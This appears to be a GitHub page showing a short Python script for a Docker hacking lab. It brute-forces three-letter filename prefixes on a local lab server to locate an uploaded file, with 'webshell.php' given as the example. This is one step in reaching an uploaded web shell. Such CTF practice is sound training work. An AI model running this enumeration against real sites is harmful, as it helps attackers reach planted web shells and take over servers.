-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript_dockhack_lab.py
More file actions
29 lines (24 loc) · 856 Bytes
/
script_dockhack_lab.py
File metadata and controls
29 lines (24 loc) · 856 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import itertools
import string
import requests
import sys
# Configuración
url_base = "http://172.17.0.2/hackademy/"
# Pedir al usuario el nombre del archivo que ha subido
file_name = input("Introduce el nombre del archivo que has subido (por ejemplo, webshell.php): ")
# Verificar si el flag -v está presente
verbose = "-v" in sys.argv
# Generar todas las combinaciones posibles de tres letras
prefixes = [''.join(i) for i in itertools.product(string.ascii_lowercase, repeat=3)]
# Probar cada combinación
for prefix in prefixes:
url = f"{url_base}{prefix}_{file_name}"
if verbose:
print(f"Trying: {url}")
try:
response = requests.get(url)
if response.status_code == 200:
print(f"Found: {url}")
break
except requests.RequestException as e:
print(f"Error accessing {url}: {e}")